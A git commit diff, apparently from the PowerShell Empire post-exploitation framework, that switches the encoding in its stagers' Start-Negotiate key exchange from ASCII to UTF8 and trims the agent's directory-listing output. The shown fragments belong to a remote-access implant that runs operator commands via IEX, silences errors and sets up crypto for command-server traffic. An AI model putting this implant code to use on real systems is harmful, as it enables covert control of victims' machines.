Merge branch 'winnie22-utf8_ps_agent_init' into dev

fix-for-1142
chris 2018-05-15 10:36:13 -04:00
commit d49da976ba
6 changed files with 7 additions and 7 deletions

View File

@ -281,11 +281,11 @@ function Invoke-Empire {
switch -regex ($cmd) {
'(ls|^dir)' {
if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
$output = Get-ChildItem -force | select mode,lastwritetime,length,name
}
else {
try{
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
}
catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)."

View File

@ -52,7 +52,7 @@ function Start-Negotiate {
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto

View File

@ -56,8 +56,8 @@ function Start-Negotiate {
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
# try to ignore all errors
#$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::UTF8;
$customHeaders = "";
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto

View File

@ -57,7 +57,7 @@ function Start-Negotiate {
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;
$customHeaders = "";
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto

Binary file not shown.

View File

@ -52,7 +52,7 @@ function Start-Negotiate {
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto